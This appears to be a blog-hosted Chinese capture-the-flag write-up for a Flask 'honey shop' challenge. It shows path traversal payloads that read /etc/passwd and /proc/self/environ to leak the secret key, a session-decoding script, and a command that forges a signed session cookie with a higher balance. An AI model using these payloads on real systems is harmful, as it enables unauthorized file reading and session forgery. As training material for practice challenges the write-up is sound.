BUUCTF [PASECA2019] honey_shop

考点:

  1. Flask中的Session伪造
  2. /environ记录当前进程的环境变量信息
  3. /proc/self其路径指向当前进程

启动环境:

是一个蜂蜜商店的界面,有1366美金,想要购买flag需要1337美金:

直接购买提示金额不足:

猜测可能是传参时存在金额参数或者cookie中,使用BurpSuite抓取数据包:

其中item应该为商品序号,获取到其中的session

session=eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.X-AP4Q.H4cz1rTUdylFbcil9brUNQuyDFI

使用Python脚本解密session

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':print(decryption(sys.argv[1].encode()))


获得解密后的值:

{'balance': 1336, 'purchases': []}

其中balance应该为当前余额,purchases值为空

首先想到的是伪造session,修改余额,所以需要SECRET_KEY的值
尝试了没有报错点,这时候发现了一句提示:

*click to download our sweet images*

可以点击下载图片:

其下载地址可能存在任意文件下载漏洞:

/download?image=3.jpg

使用BurpSuite抓取数据包:

修改其image的值为:

/download?image=../../../../../../../etc/passwd

发送数据包,得到/etc/passwd文件内容:

可以成功执行,尝试访问Python环境变量:

/proc/self
// 其路径指向当前进程/environ
// 记录当前进程的环境变量信息

当路径为../../proc/self/environ时,得到回显:

得到了SECRET_KEY的值为:paZgTFQpDx10dFWGD8plBlHMJfusFaelmpM3BG4m

使用flask-session-cookie加密脚本Github地址:

python3 flask_session_cookie_manager3.py encode -s "paZgTFQpDx10dFWGD8plBlHMJfusFaelmpM3BG4m" -t "{'balance': 1338, 'purchases': []}"


使用BurpSuite在购买flag时修改session的值发送数据包:

得到flag

BUUCTF [PASECA2019] honey_shop相关推荐

  1. [PASECA2019]honey_shop

    [PASECA2019]honey_shop 进入题目后如下所示 我试了下,能点的也就是一张图片还有可以买各种各样的物品 这里我们能看到我们的金额只有1336,但是flag要1337,差1块才能买fl ...

  2. BUU刷题记录——5

    October 2019 Twice SQL Injection 由题目名可知为二次注入 username =1' union select database() # username =1' uni ...

  3. BUUCTF的Web真题学习整理(一)

    目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...

  4. BUUCTF寒假刷题-Web

    前言 寒假横向刷题(尽量) BUUCTF

  5. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

  6. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

  7. BUUCTF Quoted-printable编码

    Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...

  8. BUUCTF NewStarCTF一些新知识记录

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...

  9. buuctf Mark loves cat

    buuctf Mark loves cat 打开是个静态页面,源码也无任何有用信息 dirsearch扫描后发现.git泄露 GitHack.py下载得到两个php文件,接下来就是代码审计: flag ...

最新文章

  1. LeetCode 题解汇总
  2. 全球及中国1-氯-3-乙基苯行业发展规划分析及市场前瞻报告2021年版
  3. xp系统oracle数据库,Oracle10g 数据库的安装基于windowsXP
  4. KVM虚拟化查看虚拟机IP
  5. 分布式锁实现原理与最佳实践
  6. C语言中动态内存分配的本质是什么?
  7. 【Java】JDK1.8新特性Date类----日期/时间改进
  8. Win10 安装 Linux 子系统
  9. 诹图系列(2): 堆积条形图
  10. Au 音频效果参考(合集)
  11. js中鼠标事件mouseover、mouseenter和mouseleave、mouseout的区别
  12. 操作系统课堂笔记(4)进程管理之多道程序设计和进程
  13. C# wpf ScrollBar自定义音量调节样式滚动条
  14. 使用 Sqoop 将 30W+ MySQL 数据导入 Hive
  15. PointFusion: Deep Sensor Fusion for 3D Bounding Box Estimation
  16. 计算机中堆栈的应用举例,西门子S7-200PLC中涉及堆栈操作的指令和梯形图应用实例...
  17. 转: 云计算openstack—云计算、大数据、人工智能
  18. 文件IO编程之学习总结
  19. “2012中国年度天使投资人”蔡文胜:彻底拥抱新趋势
  20. linux系统上insar处理流程,insar的软件-gamma.doc

热门文章

  1. pandoc把latex转为word
  2. springboot 电商项目
  3. 视频教程-React Hooks 案例详解(React 进阶必备)-其他
  4. 今天母亲节,我做了三件事
  5. 批处理使用 *.bat 文件启动 Vue项目(Windows环境下,代替手动输入命令 npm run dev等)
  6. c语言循环次数控制,3 C语言 流程控制 循环 跳转
  7. GPT-3核心成员出走打造ChatGPT最强竞品,估值50亿美元
  8. 【Windows系统优化篇】谨慎开启“来自微软输入法的启用建议“功能
  9. 人工智能+音乐的探索:从洛天依到小冰初窥歌唱合成
  10. 西西html编辑器,xhEditor(可视化网页编辑器)